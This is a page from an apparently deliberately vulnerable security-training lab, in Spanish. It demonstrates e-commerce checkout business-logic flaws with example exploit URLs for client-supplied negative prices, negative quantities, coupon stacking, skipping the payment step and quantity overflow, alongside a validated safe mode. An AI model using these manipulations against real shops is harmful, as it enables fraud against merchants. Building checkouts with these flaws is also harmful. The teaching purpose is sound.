CRITICAL

Business Logic Flaws — precio negativo, coupon stacking, workflow bypass

Cuatro vulnerabilidades de lógica de negocio en un checkout de e-commerce: precio enviado por el cliente, cantidad negativa, apilado de cupones sin límite y saltar el paso de pago

Ejemplos de explotación:

Ver catálogo de productos

Lista de productos con precios oficiales y cupones disponibles

/api/lab/business-logic?action=catalog
Precio negativo enviado por el cliente

?price=-1 — el servidor usa el precio del cliente sin verificar contra el catálogo. Total: -1€

/api/lab/business-logic?action=checkout&product=p001&qty=1&price=-1
Precio 0.01€ — licencia de 299€ por 1 céntimo

Manipular price= para comprar cualquier producto por el precio que el cliente elija

/api/lab/business-logic?action=checkout&product=p001&qty=1&price=0.01
Cantidad negativa — total negativo (crédito)

qty=-10 con precio normal genera un total negativo — el cliente obtiene crédito en su cuenta

/api/lab/business-logic?action=checkout&product=p001&qty=-10
Coupon stacking — FLAT200 + FULL_FREE

Dos cupones apilados superan el precio. FLAT200 descuenta 200€, FULL_FREE aplica 100% adicional → total negativo

/api/lab/business-logic?action=checkout&product=p001&qty=1&coupons=FLAT200,FULL_FREE
Coupon stacking — todos los cupones

Aplicar todos los cupones disponibles simultáneamente para maximizar el descuento

/api/lab/business-logic?action=checkout&product=p001&qty=1&coupons=DISCOUNT10,FLAT50,FLAT200,FULL_FREE
Workflow bypass — confirmar pedido sin pagar

El servidor acepta step=3 (confirmación) sin verificar que step=2 (pago) fue completado

/api/lab/business-logic?action=confirm-order&orderId=ORD-XYZ&step=3
Quantity overflow — qty=99999999

Sin límite de cantidad el servidor intenta calcular 299€ × 99.999.999 — posible desbordamiento o DoS

/api/lab/business-logic?action=checkout&product=p001&qty=99999999
✅ Checkout seguro — validación de precio y cantidad

Con ?safe=true el precio viene del catálogo, la cantidad se valida y los totales negativos se rechazan

/api/lab/business-logic?action=checkout&product=p001&qty=1&price=-1&coupons=FLAT200,FULL_FREE&safe=true

Vulnerabilidad Crítica

Las vulnerabilidades de lógica de negocio no son errores de código sino de diseño del flujo: (1) Precio confiado del cliente — el backend usa price= del request en lugar del catálogo; (2) Cantidad negativa — qty=-10 × precio convierte el total en crédito; (3) Coupon stacking sin límite — apilar cupones hasta superar el precio total; (4) Workflow bypass — saltarse pasos requeridos del flujo (pago) accediendo directamente al endpoint de confirmación. Ningún WAF ni scanner automático detecta estos fallos — requieren revisión manual del flujo. OWASP A04:2021 — CVSS 8.6.

Esta aplicación es vulnerable por diseño - Solo para propósitos educativos

© 2025 Aitana Security Lab